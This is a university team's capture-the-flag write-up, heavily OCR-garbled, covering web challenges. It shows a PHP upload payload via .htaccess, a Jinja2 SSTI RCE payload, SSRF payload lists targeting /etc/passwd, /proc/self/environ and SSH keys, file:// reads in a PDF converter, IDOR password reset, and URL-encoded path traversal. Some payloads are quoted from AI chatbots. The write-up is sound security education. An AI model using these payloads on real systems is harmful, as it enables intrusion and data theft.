Capture The Flag Writeup
Anti Error

PRESIDENT
UNIVERSITY

Team Members:

Richie Obhasa 001202400162 (Captain)
M.Gale Adi Saputra 001202400152
Diah Safitri Pane 001202400208

Ethical Hacking Class

President University
2025



Table Of Contents

Table Of Contents

Web
OPEN DRIVE
GottagoFast-Next
PING-ME
TechBlog
Health Check here :)
HTML TO PDF
brok3myh34rt
br3adcrumbszz
CommentCommentComment
Saya-Dor

Cryptography
TripleThreatSolid
shouldBeEz
coRSAir
eXORcise

OSINT
FINDMYAUNT
MYOBSESSION
LOANDBEHOLD
NameJumpBhonkUpUp

MISC
StockList
BrokenBot
RemoteWorkerSoBusyLha
Challenge Name 2

o A~ AN

12
15
20
28
30
34
41
46
50
50
55
58
61
66
66
70
73
77
86
86
90
93
97



Web

OPEN DRIVE

Solved On: October 13th, 10:59:29 PM
Solved by: Diah Safitri Pane
Flag Retrieved: pu-flag{f113 up104d vuln3rdblllty fOund using htaccess}

Challenges overview:
The Open Drive challenge focuses on exploiting weaknesses in a file upload mechanism to
uncover a hidden flag within a vulnerable web application.

Key Findings:

The key finding from the Open Drive challenge is that the file upload feature is insecure and
allows unrestricted uploads, enabling an attacker to bypass validation and upload malicious files.
By exploiting this weakness through an .htaccess override and a custom PHP payload, it was
possible to execute arbitrary code on the server and retrieve sensitive information, including the
hidden flag. The application also exposes additional weaknesses such as improper MIME
validation, missing authentication, directory listing, and verbose error disclosure, which
collectively increase the risk of full system compromise.

Vulnerability Analysis:

The system appears to have multiple vulnerabilities unrestricted file upload, IDOR, directory
listing, path traversal/LFI, missing authentication, improper MIME validation, CSRF, public
storage misconfiguration, verbose error disclosure, SSRF, lack of rate limiting, weak session
handling, non-expiring shared links, open redirects, and missing CSP/clickjacking protections
that could enable data theft, server compromise, and service disruption.

Tools Used:
-Burpsuite

Exploitation Step-by-step:

1. First things is I open Kali Linux and open burpsuite. And then I open the link from the ctf
and upload image to the Open Drive before submit the image,l turn on the intercept first and
after that I submit it



Opendrive
372

I have made opendrive for file storage purpose. Check If it is capable to replace google drive in my workflow

Author: FY & AZ

Instance Info

10387.66.26:9398

Destroy this instance ‘Renew this instance

CIEnuEtoRbIaniSantilkale

2. Change the file name into .htaccess and add AddType application/ x-httpd-php .ranyuan {for
me} and send.

3. After that change the AddType application/ x-httpd-php .ranyuan to



<?php

foreach (§_ENV as $key => $value) { if (stripos($key, 'flag") == false || stripos($value, 'flag')
I== false) { echo "$key: $value\n";

h

}

>

And after that change the file name into whatever in this case I choose gloryto.ranyuan

Requast query parimaters

tequest body parameters

OB ot | D €3] | iwiosss K amiicn =

| pane 11143 bytes | 1,018 pilis

Eventiog  Allissues ) Memory: 1ZB.0MB * Disabled

4. After that search /uploads in the response so when I Got the /uploads/gloryto.ranyuan then I
put it on the link and the back to burpsuite and click another file in proxy and I got the flag.

o T

oy @

I forgot to screenshot the whole progress so I must repeat and its different.



CVSS:

If such vulnerabilities existed in a real-world system, they could lead to severe consequences including
unauthorized access to sensitive data, remote code execution, and complete compromise of the affected
server. Attackers could upload malicious files, read or manipulate confidential information, disrupt
services, and gain persistent control over the infrastructure. This would not only result in financial and
operational losses but also damage the organization’s reputation, violate data protection regulations, and
erode customer trust due to potential data breaches and misuse of confidential resources.



GottagoFast-Next
Solved On:
October 10th, 10:14:45 AM

Solved by: Gale Adi
Flag Retrieved:

pu-flag{100k5-11k3-1t5-f45t3r-th1s-w4y-r1ght?}

Challenges overview:

The gottagofast-next challenge hosts a typing game at http://103.87.66.26:30185/. The front end
requires the user to type a given sentence with 100% accuracy and within an extremely small
time window (under 2 seconds) to receive a flag. The client sends a JSON POST to /submit
containing the typed text, the time taken, and a correct boolean. The server accepts the submitted
values and returns the flag when correct: true and time is sufficiently low.

Key Findings:
The challenge trusts client-supplied values (time and correct) to decide flag issuance.

Intercepting the POST request and setting "correct": true and "time" to a tiny value (e.g., "100")
causes the server to return the flag.

No server-side verification of elapsed time, token, or server-controlled state was observed.

The vulnerability is trivial to exploit using a proxy (Burp Suite) or by constructing a crafted
POST request.

Vulnerability Analysis:
Name: Insecure trust of client-supplied game state / Client-side authoritative validation

Type: Broken authentication/authorization logic & logic flaw (Trusting client input)



OWASP category (closest): A01:2021 — Broken Access Control / A05:2021 — Security
Misconfiguration (logical server-side validation missing)

Tools Used:
Burp Suite (Proxy + Repeater) — intercept, modify, replay POST request.

Browser (proxied via Burp) — trigger the client POST.

Exploitation Step-by-step:

1. Configure browser to proxy through Burp Suite.

2. Open http://103.87.66.26:30185/ and start a typing a

Burp  Project Intruder Repeater View Help Burp Suite Community Edition v202!

ttempt to generate a submission.

ject

Dashboard  Target ; Intruder Repeater Collaborator Sequencer Decoder Comparer logger  Organizer Extensions Learn

HTTP history WebSockets history Match and replace {8} Proxy settings

Drop v Request to hitp://103.87.66.2630185 & | @ Openbrowser | () i

Time Type Direction Method URL Status code Length
[08:2922160c.. HTTP > Request POST hitp://103.87.66.
Request Inspector oDz - x g
Pretty  Raw  Hex Iy n =
o ne 100 Request attributes 2 v _E
= With: XMLHctpRequest 2
° Request query parameters o v 8
charsec=UT
in€4; xE4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.3€ Request cookies 1 v
Request headers 12 v =
ANCr 3B23y8TSESSZMGE10d2r =_duDEKL snZenS_HBVMLo4PbelGhs3CNRTOES ENmdLENEAr Tn9Eg02nE 1 AxeGIEXS OweQy. aPBKCy. T3 CCe3x4UB1WES3A-DEYI kBT g
5 X
{
¥ing to stand for th
)
@@ PAIEY el 0 highlights o

Event log Allissues @ Memory: 133.8MB

azg'c - ¢ : N G A0 @

Cerah

Intercept the POST to http://103.87.66.26:30185/submit. Example original body:

{

"text": "focus truth unyielding with bravery hacking to stand for the",
"time": "103021",

* Disabled v

082
16/10/202!

9
5



"correct": true

}

Modify time to a very low value (e.g., "100") and keep "correct": true:

{

"text": "focus truth unyielding with bravery hacking to stand for the",
"time": "100",

"correct": true

4.
5. Forward/send the request. The server responds with success and the flag (or the client
displays an alert with the flag).

@ Typing Challenge x +

/A Notsecure  103.87.66.26:30185

103.87.66.26:30185 says

ag is pu-flag{l00k5-11k3-1t5-f45t3r-th1s-wdy-right?}

6. Capture Burp request/response and a browser screenshot of the alert as evidence.



Impact and Severity (CVSS):
CVSS (estimated): 5.3 (Medium) — Exploitability high (easy local network), Impact limited to
revealing challenge flag, depends on context.

e Vector (rough estimate): AV:N/AC:L/PR:N/UL:N/S:U/C:L/I:N/A:N



PING-ME

Solved On: October 10th, 10:19:01 AM
Solved by: Muhammad Gale Adi Saputra
Flag Retrieved: pu-flag{cOmmAnD Inj3ct1On_gOtch4 178337}

Challenges overview:

This challenge involves a command injection vulnerability in a "Ping Me" web application that
allows users to ping IP addresses. The vulnerability enables execution of arbitrary system
commands to retrieve a hidden flag on the server.

Key Findings:

The application executes system commands without proper input sanitizatio

The output contains base64-encoded data that needs decoding

Command injection can be achieved using shell metacharacters (;, |, &, etc.

The flag is hidden somewhere on the server filesyste

Tools Used:

Solving Step-by-step:



Ping Me

Enter an IP address to ping:

H Png |

€g.127.0.0.1

Result:
PING 198.2.0.1 (198.2.0.1) 56(84) bytes of data.

--- 198.2.0.1 ping statistics --
1 packets transmitted, @ received, 100% packet loss, time @ms
UEWnQE sZGp4ZmZ3sD==

T1gD h o9

M
ﬂb[ £rio




Download CyberChef ¥ Last build: 2 months ago - Version 10 is here! Read about the new features here Options §&  About/ Support @

Operations Recipe ~om 8 Input + 03w

UHgMz kuM3gwZT1gDI5RK@yhnwAwqQRj0y9aZUEWNQESZGpAZmZ3sD==
Search... From Base64 ~ PUHg! BWZT1gl V! qQRjoy! IQESZGp.

Favourites * Alphabet
N-ZA-Mn-za-m@-9+/=

To Base64

Remove non-alphabet chars \:\ Strict mode
From Base64

To Hex

From Hex LQ

To Hexdump s =1 Qs W oG @ |

From Hexdump M 6; ‘E r [\0 r- Output a |_|:| 53]

URL Decode pu-flag{commAnD_Inj3ctien_gotcha 178337}

Regular expression
Entropy

Fork

Magic

Data format

=
Encryption / Encoding STEP Auto Bake
md0 =1 @ s Tr rau sytes o]



TechBlog
Solved On:
October 15th, 3:32:01 PM

Solved by: Muhammad Gale Adi Saputra
Flag Retrieved: pu-flag{no validation 10glcs 4r3 cOmmOn}

Challenges overview:

Key Findings:




Tools Used:

Solving Step-by-step:

1. OBTAINING ADMIN USER ID

Burp Project Intruder Repeater View Help mmunity Edition v2 mporary Proje - [} X
Dashboard Target Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn [(RE]
Intercept  HTTPhistory  WebSockets history ~ Match and replace {3 Prowy settings

V Filter settings: Hiding CSS, image and general binary content (O

# Host Method URL Params  Edited  Status code length MIMEtype Extension Title Notes s e Cookies Time Listener port  Start response

55 http/103 GET profile 200 7164 HIML Profile - TechBlog 103.87.66.26 09:03:57 16... 8080 19

56 http://103 GET change-password 200 6682 HIML Change Password - Te. 103.67.66.26 09:03:5816.... 8080 18
7 http://103 GET change-password 200 6682 HIML Change Password - Te. 103.67.66.26 09:04:3816.... 8080 2

58 http://103.87.66.26:9299 POST  /change-password v 302 669 HIML Redirecting... 103.67.66.26 session=.e/wlyOE... 09:05:07 16... 8080 1335

59 http://103.87.66.26:9299 POST  /change-password v v 302 669 HIML Redirecting... 103.67.66.26 session=.eJwlyOE... 09:05:4016... 8080 1254

60 http://103.87.66.26:9299 GET profile 200 27 WML Profile - TechBlog 103.87.66.26 session=eylpc19... 0%:06:1716... 8080 27

61 http://103.87.66.26:9299 GET logout 302 s49 HIML Redirecting... 103.67.66.26 session=ey)fZmx.. 0%:06:2816... 8080 19

62 http://103.87.66.26:9299 GET 200 14085 HTML Home - TechBlog 103.67.66.26 session= 09:06:2816... 8080 17

63 hitp://103.87.66.26:9299 GET login 200 6038 HIML Login - TechBlog 103.67.66.26 09:06:35 16... 8080 15

64 http://103.87.66.26:9299 POST  /login v 302 647 HIML Redirecting. 103.67.66.26 session=.e/WIjEE... 09:06:4316... 8080 1130

65 __http://103.87.66.26:9299 GET posts 200 9523 HIML Posts - TechBlog 103.87.66.26 session=.e/wizD... 09:06:4416... 8080 15

[(66nttp://103.57.66.26:9299 GET __/api/posts 200 1478 JSON 103.67.66.26 09:06:44 16 ..._8080 17 ]
=TS | jpgpector "X g

Request Response
Pretty Hex w Pretty  Raw  Hex n Selection 290 A B
T GET Japi/posts HITB/L.1 “title":"Getting Started with Flask”, B

Host: 103.87.66.26:9289 "userid":"3eedbdBa-cf4E-450£-9739-bbbbed . Selected text 3
Accept-Language: en-US,en;q=0.9 b -
4 User-Agent: Mozilla/S.0 (Windows NT 10.0; Win4; xé4) AppleWebKit/537.36 author": "admin®, "content:"This is ou
(FHTHL, like Gecko) Chrome/141.0.0.0 Safari/537.38 "author":"jane_smith", r first blog post. We're excited to s
S Recepr: * content hare our thoughts and ideas with you ®
Referer: hetp://103.87.66.26:9299 /posts When designing dacabases, it's important to normalization, ind " "ereated_at’:"2025-10-16T01:52:28.5
Accept-Encoding: gzip, deflate, br . and performance.”, ,*title": *Welcome to Our =
Coolrie "ereated_at:*202§-10-1T01: §2:26. 534440, Blog", "userid": " faBeed22-4b55-4c88-8 g
€Jw12DEOGCAMAMC_dLaDWEZDZ04xJWGAAWQy_10THRD3 QBLRE I YG4e T Thp3De i wKALKwmTqH1LxHu "ids3, 4c3-blagdsTftedd” 3
piR vR-3dMahv . aPBTHW. ~0sg s 1 citle" sign Best Practices,
Connection: keep-alive "userid":"££951731-a0bb-4e77-a933-c50b435ea748"
1 ).
( Request attributes 2 v
“author®: *admin®,
"content”:
"This is our first blog post re excited to share our thoughts and ideas w | Request cookies 1w
ich you.",
2025-10-16T01: §2:26. 534436",
" - Request headers 8 v
m } “useride:® faBeedzn AbS5-4con-A4c3-hlabdsaesedss] Response nesders D -
}
1
X IGIE 0 onightigts | () {83 [« (> O 0highlights ®

2.Changing Admin Password via IDOR



POST /change-password HTTP/1.1
Host: 103.87.66.26:9618
Content-Type: application/json
Cookie: session=<your_session_cookie>

{

"user_id": "86fc2619-c467-433¢-99ec-08bbcd47delc",

"new_password": "admin123"

@ Profile - TechBlog x +

&« C A Notsere 103.87.66.26:9299/profile

@ TechBIog A Home |8 Posts

Email:

Error  w

W Role:

At

& admin ~

o

User Profile

admin
admin@blog.com

October 16, 2025

P Change Password

3.SSTI EXPLOITATION for RCE

Im using a deepseek Al for make an payload to inject here the screenshot



. image.png
PNG 15.8KB

bisakah kamu membuatkan aku payload SSTI RCE untuk mendapatkan flag dalam
kasus berikut

Berdasarkan informasi yang Anda berikan, ada kerentanan Server-Side Template Injection (SSTI)

di bagian "POST TITLE" — terlihat dari contoh {{7*7}} yang dievaluasi menjadi 49 .

Untuk mendapatkan RCE (Remote Code Execution) dan mengambil flag, kita bisa mencoba

payload SSTI yang umum, tergantung template engine yang dipakai.

1. Identifikasi template engine

5. Payload cepat coba baca flag

Coba ini di input "POST TITLE" (raw title):
jinja2 O Copy  Download

{{ cycler.__init_ . _globals__ .os.popen('cat /flag*').read() }}




c A\ Notsecure  103.87.66.2

& Back to Admin Panel

K Z B Post Details

POST TITLE

pu-flag{no_validation_l0g1cs_4r3_cOmmOn}

Raw title: {{ cycler._init_._globals_.os.popen(cat /flag*).read() }}

AUTHOR CREATED DATE
[ admin | October 16, 2025 at 01:52 AM
POST ID

\pner

fageed22-4b55-4c88-84c3-b1a6d52ffeaa
CONTENT

Security should be a top priority when building web applications. Here are some common
vulnerabilities to avoid.



Health Check here :)

Solved On: 13 Oct 2025

Solved by: Richie Obhasa

Flag Retrieved: pu-flag{SSRF PivOt TO VictOry!}
Challenges overview

A simple “URL health checker” web app that fetches the headers/content of a user-supplied
URL. The core idea: can we coerce the server to fetch local/internal resources? (SSRF).

Key Findings

e The input accepts file:/// URLs — server returns local file contents (confirmed with
/etc/passwd, /etc/hostname, /etc/hosts).

e /etc/hosts revealed an internal hostname — secret-internal-api.local that resolves to
172.16.238.10.

e Accessing that internal service from the vulnerable server returns the flag.

Tools Used

e Web browser (Chrome)
e Basic URL payloads (file:///..., http://...)
e ChatGPT (find Secret file)

Solving Step-by-step

1. Recon / entry point
Open the challenge: http://103.87.66.26:30190/. The page asks for a URL to “check
health”.



coba kerjakan ini?

Oke, dari challenge ini kelihatannya web CTF berjudul “Health Check Here :)* dan petunjuknya:

“you know how to see file in cnd?”

Mari kita analisis dan rancang langkah exploit-nya.

#& 1. Analisis Halaman Utama
URL:

PP
hitip:
Halaman menampilkan input form:
“Enter a URL to check its HTTP response headers.”

® Artinya web ini kemungkinan mengambil input URL dari user dan melakukan curl atau
requests.get() ke URL tersebut, lalu menampilkan header-nya.

A 2. Potensi Celah

Challenge jenis ini biasanya rentan ke Server-Side Request Forgery (S5RF).

Dengan SSRF, kita bisa membuat server mengakses file internal seperti:

% Tanya ChatGPT

file: wd
file:///flag.txt




2. Probe for SSRF via local files

Nice — bagus, kalau fetc/passwd sudah terbaca berarti SSRF/file:/f reading berhasil. Kita tinggal cari di
mana file flag disimpan. Coba input satu-per-satu payload berikut di form web itu (copy-paste):

1) Coba langsung lokasi flag umum

flag
flag.txt
flag.txt
ctf/Flag. txt
ctf/flag
flag.tct
wn/ Flag. tt
wivi/Triml/ Flag . txt
c/app/Flag. bt
flag.bet
flag.bet

2) Coba folder web root / cari file index / listing
perl
file: wnw/ it/
file: W

file: W
file: hare/nginx/himl,/

Jilka muncul listing, buka file flag.txt di lokasi yang terlihat.

3) Cek file yang sering berisi secrets / env

perl

file: elf/environ
file: hosts

file: hostname
file: ecrets/
file: ecrets/flag
file: .ssh/id_rsa

fproc/self/fenviron kadang berisi var env yang menunjuk path.

Input:



o file:///etc/passwd — server prints the file — confirms SSRF file read.

CTF President University Batch -~ X @ ImageDB X @ yoHealth Checker here! X @ yo Health Checker here!
C A Notsecure 103.87.66.26:30190

R School

Yo Health Checker Here

Enter a URL to check its HTTP response headers.

Check Health

Results for: ///etc/passwd

/bin/sync
ames: /usr/games: /usr/sbin/nologin
an: /var/cache/man: /usr/sbin/nologin
usr/sbin/nologin
ail: /var/mail: /usr/sbin/nologin
znews: /var/spool /news: /usr/sbin/nologin
10:uucp: /vai /usr/sbin/nologin
Jusr/sbin/nologin
33 :waa-data: /var/wa: /usr/sbin/nologin
4:backup: /var/backups : /usr/sbin/nologin
38:Mailing List Manager:/var/list:/usr/sbin/nologin
sircd:/run/ircd: /usr/sbin/nologin
: :/nonexistent:/usr,

proxy: /bis

bin/nologin
5534:nobody: /nonexi stent : /usr/sbin/nologin

‘ 93°F

Mostly cloudy

117PM
= &
VR DB 0505



o file:///etc/hostname — returns a container-like hostname (84bf4b30a396).

CTFPresic X @ yo Health

(&) /N Not secure

Yo Health Checker Here %Y

Enter a URL to check its HTTP response headers.

Check Health
Results for: file:///etc/hosts

27.8.8.1 localhost
localhost ipf-localhost ip6-loophack
1ph alnet




o file:///etc/hosts — reveals:

@ yoHealth X @ vyo Healt *

/A Notsecure 10387662630 @ vy Schoal

Yo Health Checker Here

Enter a URL to check its HTTP response headers.

Check Health

Results for: file:///etc/hostname

B4bfAb3Ba3gs

m 172.16.238.10 secret-internal-api.local
m Local container IP / hostname mapping.

3. Pivot to internal network
Since the server resolves secret-internal-api.local internally, request:



http://secret-internal-api.local/

coba periksa

Bagus — dari screenshot yang kamu kirim ada beberapa hal penting yang kelihatan:

* [etc/hosts berisi:

pgsql @ Salin kede

secret- -api.
bf4b3pa396

* /etc/hostname isinya 84bf4b3ea396 (kemungkinan hostname/container id).

s file:///opt/flag.txt gagal diambil (maybe permission atau file nggak ada).

o file:///var/ww/html/ nampak kosong / tidak menampilkan listing.
Interpretasi singkat: server memiliki entri hosts yang menunjuk secret-internal-api.local —
172.16-238.1@ . ltu adalah target internal yang biasanya berisi service internal (APl/admin) yang mungkin
menyimpan flag. Karena SSRF berhasil (kamu bisa baca | fetc/passwd dan | /etc/hosts ), langkah selanjutnya

adalah mencoba mengakses service internal tersebut.

Payload yang harus kamu coba di form (satu-per-satu)

1. Coba akses host nama internal (memanfaatkan /etc/hosts ):

(7 Salin kode

9 Tanya ChatGPT

http://secret-
http://secret-

v B CTF President Uni atd @ ImageDB @ yo Health Checker here! X @ yo Health Checker here!

<« @ A\ Notsecure  103.87.66.26:30190

(%)

Yo Health Checker Here

Enter a URL to check its HTTP response headers.

Check Health

Results for: http://secret-internal-api.local/

R School

2 Q) @

1:16 PM
10/13/2025




4. Exfiltrate the flag
The internal service responds with a friendly message and the flag:
o FLAG: pu-flag{SSRF PivOt TO VictOry!}



HTML TO PDF

Solved on: October 12th, 8:58:41 AM
Solved By: Richie Obhasa
Flag Retrieved: pu-flag {4n0th3r-SSrF-w1th-1nt3rn4l-port-5c4nnlng-found!}

Challenge Overview:

This challenge presents a web application that converts HTML files to PDF format. However,
the site relies on outdated tools or libraries, which may introduce vulnerabilities related to
insecure deserialization, outdated dependencies, or command injection during the conversion
process.

Key Findings:

The HTML-to-PDF converter website uses outdated tools and dependencies, which can lead to
multiple security issues such as remote code execution, arbitrary file access, or improper input
validation.

The main vulnerability lies in the use of outdated HTML-to-PDF conversion tools that may
execute system-level commands or process untrusted input without proper sanitization. Attackers
could exploit this weakness to inject malicious code or gain unauthorized access to the server.

Tools Used:
-Chatgpt
-Html to pdf converter

Step by Step:

1.In the first step, the attacker attempts to read local files from the server using HTML tags that
reference the file:// protocol. This is done by embedding file paths into elements such as <img>,
<iframe>, or <object>. For example, loading file:///flag through these tags allows the attacker to
check if the server’s HTML-to-PDF rendering engine processes local files.



~ @ Cara dapatkan flag %

s://chatgpt.com/c/68eb

D ChatGPT 5 ~ I, Bagikan

& obrolan baru A. Baca file lokal (filez//)
Q. Cari abrolan html (P Salin kode
&' Perpustakaan
() Codex
88 GPT
(P Salin kode
B Proyek
s <iframe

Cara dapatkan flag

html
Balasan lebih sopan
Permohonan maaf yang lebi...

<cbject ></object>
Decode Base64 dan ROT13
Pecahkan kode terenkripsi html
3]0 5 a8

Decode teks dengan metode

2. In this last step I submit the crafted HTML (containing file:///flag via <img>, <iframe>,
<object>, etc.) to the HTML—PDF service, trigger the conversion, and inspect the resulting PDF
preview/output for any leaked file contents or the system flag;



Convert HTML to PDF

<!-- 3: object/embed -->
<object data="file:///flag.txt"></object>

CTF - Anti Error - RichieObhasa

Convert to PDF

CVSS:
Vector: AV:N/AC:L/PR:N/UIL:N/S:U/C:H/I:L/A:L

Base score: 8.6 (High)
Why:

Attack Vector (AV:N): Attackable remotely over the network (you submit HTML).
Attack Complexity (AC:L): Low — no special conditions required to trigger file reads.
Privileges Required (PR:N): None — attacker supplies input to the conversion service.
User Interaction (UI:N): None.

Scope (S:U): Unchanged — impact limited to the vulnerable component/host.

Impact (C:H / I:L / A:L): Confidentiality high (sensitive files / flags can be leaked),
integrity & availability limited.



brok3myh34rt

Solved date: October 12th, 12:17:01 PM
Solved by: Diah Safitri Pane
Flag Retrieved: pu-flag{thls-1s-cOns3qu3ncEs-Of-uns3cur3-p4th}

Challenge Overview: hints at a hidden clue through emotional and personal wording combined
with a reference link. The webpage presents a short message from the author, “FY,” mentioning
something done “privately,” and includes a link leading to another port
(http://103.87.66.26:30177/). The challenge encourages participants to investigate that linked
service for further clues or hidden content. It likely involves web enumeration or information
disclosure analysis, where understanding the context and the referenced “project” is essential to
locating the flag.

Key Findings: The “brok3myh34rt” challenge reveals a webpage containing an emotional
message followed by a link to another service hosted on port 30177. This indicates that the actual
challenge content or flag is located within that linked web service rather than the current page.
The message implies something “private,” suggesting hidden or restricted resources that need to
be explored.

Vulnerability Analysis:

the main vulnerabilities are information disclosure and lack of access control on that secondary
host. Because the landing page exposes the internal link publicly and the linked service appears
accessible without authentication, an attacker can enumerate the service, probe endpoints, and
retrieve exposed resources (files, directories, or debug pages) that may contain sensitive data or
the flag.

Tools Used:

-chatgpt

Step By step:

1.0pen the page at the link you found (e.g. http://103.87.66.26:30177/) and view the HTML
source (right-click — View Source). Look for hidden comments, script references, or links to
other paths. There is Flag-no.txt,which is not the actual flag because it wasnt that easy for
sure,and after that I click the link try accessing
http://103.87.66.26:30177/download?=file/private/flag.txt directly in the browser first.



nah sekarang untuk challenge ini buatkan aku cara nya

Baik — berikut cara (methodology) langkah-demi-langkah yang aman dan terstruktur untuk menyelesaikan

challenge HTML—PDF ini (ditulis dalam Bahasa Indonesia). Aku sengaja menjadikan tiap langkah praktis tapi

tidak menyertakan perintah berbahaya atau payload eksplisit yang dapat disalahgunakan — fokusnya

pada proses CTF/pengetesan aman dan pelaporan temuan.
1. Recon / Pengamatan awal
e Buka halaman konverter HTML—PDEF, catat field input (textarea / upload), endpoint yang dipanggil,
dan perilaku Ul (preview, download output.pdf ).
o Cek apakah ada batasan input (filter karakter, sanitasi, atau penggantian tag) dan tipe konten yang
diterima.
2. Uji akses file lokal (Local File Read)
e Kirim HTML yang mereferensikan resource file:// menggunakan elemen yang umum dirender
(mis. <img>, <iframe>, <object>) di textarea atau file yang dikonversi.
e Submit konversi lalu periksa PDF preview / output.pdf apakah ada isi file lokal (flag atau
/etc/passwd ) muncul.
e Catat elemen/tag mana yang efektif (mis. apakah <object> berhasil tetapi <img> tidak?).
3. Uji varian path & lokasi sensitif
e Coba path file yang relevan untuk CTF (mis. /flag, /flag.txt) dan beberapa path sistem umum
(mis. /etc/passwd ) untuk konfirmasi kemampuan baca file.
o Perhatikan behavior berbeda (kosong, error, partial rendering) — ini membantu mengerti engine

render dan permission.

2. With file:/private/flag.txt confirmed as readable, attempt to directly access the discovered path
or the service’s download endpoint

k4l CTF President University £ | [ig 103.87.66.26:30177/down! [ Capture The Flag Writeu; +

E holiday_fun.txt holiday_fun.txt flag (1).txt

File Edit View : B 7 &= A

bu—%lag{thls-1s—c0n53qu3ncEs—0f-un53cur3-p4th}

CVSS: The vulnerability in the brok3myh34rt challenge has a CVSS v3.1 base score of 8.1
(High) with the vector AV:N/AC:L/PR:N/UIL:N/S:U/C:H/I:L/A:N. This rating reflects a serious
information disclosure flaw where an attacker can remotely access sensitive files without
authentication or user interaction. The confidentiality impact is high since the flag or other
private data can be directly retrieved, while the integrity and availability impacts are limited.



Because the vulnerability is easily exploitable through a public-facing service and exposes
confidential information, it poses a significant risk to the system’s security posture. In a
real-world scenario, such an issue could lead to unauthorized data exposure, aiding attackers in
reconnaissance or privilege escalation attempts.



br3adcrumbszz

Solved On: October 10th, 10:04:41 PM
Solved by: RichieObhasa
Flag Retrieved: pu-flag{CrOn JOb_wltH p4tH tR4v3rSalL Url3Nc0d3d}

Challenge overview

A web-exploitation / LFI style CTF. The site hinted at “crawlers / breadcrumbs” and had subtle
clues in robots.txt. The goal was to find a hidden flag file by following the “breadcrumbs” the

site left for crawlers (disallowed paths, config files, and cron hints), then exploit a file viewer to
read the flag file.

Key findings

robots.txt disallowed /config/ — a crawler hint to check that directory.

e /config/ was directory-listed and contained diagnostics (dev.txt, scheduler.log, task.ini)
revealing additional hints.
scheduler.log revealed a cron entry and suggested paths.
The app exposed a file viewer endpoint (viewer.php?file=...) vulnerable to path traversal
(LFI) and accepted URL-encoded paths.

e /etc/passwd revealed a user flag finder with home directory /flag_is_here — exact
location hint for the flag.

e The flag file content was an encoded string (Base64 + transposition) that required
decoding (Base64 — Rail-Fence key=3) to recover the final pu-flag{...}.

Tools used

Web browser (Chrome) for reconnaissance and viewing files
PowerShell Invoke-WebRequest (for watching server hints in password.txt in
screenshots)

o (CyberChef (gchq.github.io) to decode Base64 and apply Rail Fence transposition

Basic URL percent-encoding (manual / browser address bar)

Solving — step-by-step



Started with the hint / robots

bryaderumbszz
500

ini disuruh apa?

Oke — ini adalah tantangan CTF web-exploitation berjudul “br3adcrumbszz” (breadcrumbs = “jejak” * 7).

Mari kita bedah petunjuk dan apa yang harus kamu lakukan langkah demi langkah &

¥ 1. Analisis Deskripsi Challenge

“Beep boop, | hope the crawler isn’t doing anything dangerous.”

Kata crawler mengacu pada web crawler / bot — ini petunjuk bahwa flag tersembunyi di tempat yang
biasanya dijelajahi oleh bot (bukan oleh user biasa).
Kata "breadcrumbs” juga mengisyaratkan bahwa flag disembunyikan dalam beberapa “jejak” di situs,
seperti:

o 9% Tanya ChatGPT

s file _robots. txt, -htaccess, .git/h atau

1. robots.txt

fobotste X @
A Notsecure  103.87.66.263

User-agent: *
Disallow: /config/

v 0 Y H

1
10/

2. Directory listing on /config/
Opened http://<host>:30084/config/ — directory listing contained dev.txt, scheduler.log,
task.ini.



v @ Index of /config x @ 103.87.66.26:30084/viewer ph x @ 103.87.66.26:30084/viewer ph x +

« > C A\ Notsecure  103.87.66.26:30084//config/ R School

Index of /config
Name Last modified Size Description

5 Parent Directory -
devitxt 2025-09-20 07:59 62
@ schedulerlog ~ 2025-09-20 07:59 159
@ task.ini 2025-09-20 07:59 268

Apache/2.4.65 (Debian) Server at 103.87.66.26 Port 30084

CTF-ANTI ERROR - Richie Obhasa

10:41 PM

&) 80°F ' - -~
< Partly cloudy G 2DD 0005

3. Read dev notes and scheduler log
o dev.txt contained a short note about security for viewer.php.
o scheduler.log contained a cron line pointing to
/var/www/html/generate temp pass.php (hinting at cron/paths). (Screenshot:
dev.txt and scheduler.log)



v @ 10387.66.26:30084//config/der X @ 103.87.66.26:30084/viewerphp X @ 103.87.66.26:30084/viewerphp X  +
& (6] /A Not secure  103.87.66.26:30084//config/dev.txt R} School

5 --- DEV NOTES ---
; Security for viewer.php is implemented.

10:41 PM
10/10/2025

&) 80°F . 2 =
= | Partly cloudy . = N H

v @ 10387.66.26:30084//config/sch X @ 103.87.66.2
& €] A\ Notsecure  103.87.66.26:30084//config/scheduler.log R School

# System Task Scheduler Log
# Last run: Mon Sep 15 €1:42:01 2025 UTC
* x *x % % root /usr/local/bin/php /var/waw/html/generate_temp_pass.php >> /dev/null 2>&1

&) 80°F = - 10:42 PM
i « 9 2 ¢
= ) Partly cloudy 0 29b 10/10/2025

4. Find & test file viewer endpoint
The site had viewer.php?file=.... The page source / hint suggested trying the file viewer:
viewer.php?file=about.html. This suggested viewer.php reads and returns arbitrary files if



path traversal is possible.

B Windows PowerShell X 2 Windows PowerShell Windows PowerShell X P Windows PowerShell

Windows PowerShell
Copyright (C) Microsoft Corporation. ALl rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindow
PS C:\Users\Indra>
PS C:\Users\Indra>

(Invoke-WebRequest SilentlyContinue).Content
{ }

(¢ ) {
Write-Output "$(Get-Date

3
}
Start-Sleep 300
1

4:58:04 PM -> The path to the flag is hidden in plain sight. View source? Maybe view a different source? Try the file viewer: viewer.php?ile=about.html

80°F
Partly cloudy

10:43PM

9 DD 020

4. Test for path traversal — read /etc/passwd
Accessed:



v S 103.87.66.26:30084/viewer.php X @ 103.87.66.26:30084/viewer ph x @ 103.87.66.26:30084/viewer ph x +

& c A\ Notsecure  103.87.66.26:30084/viewer.php?file=%2e%2e%2{%2e%2e%2{%2e%2e%2fetc%2fpasswd R School

Displaying: ../../../etc/passwd

@:root:/root:/bin/bash
daemon: /usr/sbin:/usr/sbin/nologin
in:/bin:/usr/sbin/nologin
:sys:/dev:/usr/sbin/nologin
65534:sync:/bin:/bin/sync

@:games: /usr/games : /usr/sbin/nologin

7:1p:/var/spool/lpd:/usr/sbin/nologin
mail:/var/mail:/usr/sbin/nologin
news:/var/spool/news:/usr/sbin/nologin

uucp: /var/spool/uucp:/usr/sbin/nologin
:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www: /usr/sbin/nologin
backup x:34:34:backup:/var/backups: /usr/sbin/nologin
lailing List Manager:/var/list:/usr/sbin/nologin
H red:/run/ircd:/usr/sbin/nologin

apt x:42:65534: : /nonexistent: /usr/sbin/nologin

